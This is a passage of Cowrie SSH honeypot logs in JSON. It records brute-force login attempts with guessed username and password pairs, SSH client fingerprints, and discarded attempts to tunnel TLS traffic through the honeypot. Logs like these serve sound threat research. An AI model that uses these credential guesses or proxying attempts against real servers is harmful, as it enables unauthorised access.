\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85.\\xf0O\\x04T\\x9c\\n)\\x13\\x17\\x10\\x9b\\x85\\xa9gNXn\\x9f\\xe3\\xa3\\x05\\x1d\\xcc\\xea\\x80\\xf3kD\\x82\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.327055Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.578569Z","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.837632Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;u\\xb5os\\x17\\xc9A~\\xf6)\\xf0\\xb6f`\\xf5\\x16\\xf9[\\x15\\xd1\\xe2@\\xa6wsl\\x1bN\\xc4\\x04\\xd5 \\xb2\\x11\\r\\nD\\xdc\\xca\\xb8\\xeaH\\xe2b\\xe8\\xc4_\\xd5\\x07D\\x0f\\x86\\xcco.\\x8e\\xe3\\xf2--\\x8d\\x1b\\xda\\r\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\x00]\\x0f2\\xe0\\xbe\\xd3i\\xcf\\xf0\\xc1\\x1e\\x0b\\x08\\xb2\\xa5\\xd1\\x9cA\\xdb\\xa7i\\xda\\x19\\xc2\\x88\\x84\\x03z\\xfe\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;u\\xb5os\\x17\\xc9A~\\xf6)\\xf0\\xb6f`\\xf5\\x16\\xf9[\\x15\\xd1\\xe2@\\xa6wsl\\x1bN\\xc4\\x04\\xd5 \\xb2\\x11\\r\\nD\\xdc\\xca\\xb8\\xeaH\\xe2b\\xe8\\xc4_\\xd5\\x07D\\x0f\\x86\\xcco.\\x8e\\xe3\\xf2--\\x8d\\x1b\\xda\\r\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\x00]\\x0f2\\xe0\\xbe\\xd3i\\xcf\\xf0\\xc1\\x1e\\x0b\\x08\\xb2\\xa5\\xd1\\x9cA\\xdb\\xa7i\\xda\\x19\\xc2\\x88\\x84\\x03z\\xfe\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.840939Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:43.214575Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:43.373487Z","src_ip":"45.153.34.195","session":"bc3ba7ca04cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@#123","message":"login attempt [root/Admin@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:43.399360Z","src_ip":"27.71.230.31","session":"d82141c6dc2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16076,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d3817aed059","protocol":"ssh","message":"New connection: 45.153.34.195:16076 (10.17.0.5:22) [session: 7d3817aed059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:44.909483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:44.930112Z","src_ip":"45.153.34.195","session":"7d3817aed059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:45.011517Z","src_ip":"45.153.34.195","session":"7d3817aed059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:45.319762Z","src_ip":"45.153.34.195","session":"7d3817aed059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:45.447922Z","src_ip":"27.71.230.31","session":"d82141c6dc2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:46.403990Z","src_ip":"45.153.34.195","session":"7d3817aed059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c829b3d0f44","protocol":"ssh","message":"New connection: 45.153.34.195:16082 (10.17.0.5:22) [session: 4c829b3d0f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:47.703394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:47.876982Z","src_ip":"45.153.34.195","session":"4c829b3d0f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:47.880985Z","src_ip":"45.153.34.195","session":"4c829b3d0f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany","message":"login attempt [dany/dany] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:48.335424Z","src_ip":"45.153.34.195","session":"4c829b3d0f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:49.486245Z","src_ip":"45.153.34.195","session":"4c829b3d0f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16096,"dst_ip":"10.17.0.5","dst_port":22,"session":"666e168a51b0","protocol":"ssh","message":"New connection: 45.153.34.195:16096 (10.17.0.5:22) [session: 666e168a51b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:50.662296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:50.666902Z","src_ip":"45.153.34.195","session":"666e168a51b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:50.943782Z","src_ip":"45.153.34.195","session":"666e168a51b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:51.429384Z","src_ip":"45.153.34.195","session":"666e168a51b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:52.637563Z","src_ip":"45.153.34.195","session":"666e168a51b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":64456,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d660defe36b","protocol":"ssh","message":"New connection: 123.27.168.40:64456 (10.17.0.5:22) [session: 7d660defe36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:53.505382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:53.511837Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13086,"dst_ip":"10.17.0.5","dst_port":22,"session":"7319c2eeca4a","protocol":"ssh","message":"New connection: 45.153.34.195:13086 (10.17.0.5:22) [session: 7319c2eeca4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:53.623013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:53.629066Z","src_ip":"45.153.34.195","session":"7319c2eeca4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:53.730407Z","src_ip":"45.153.34.195","session":"7319c2eeca4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 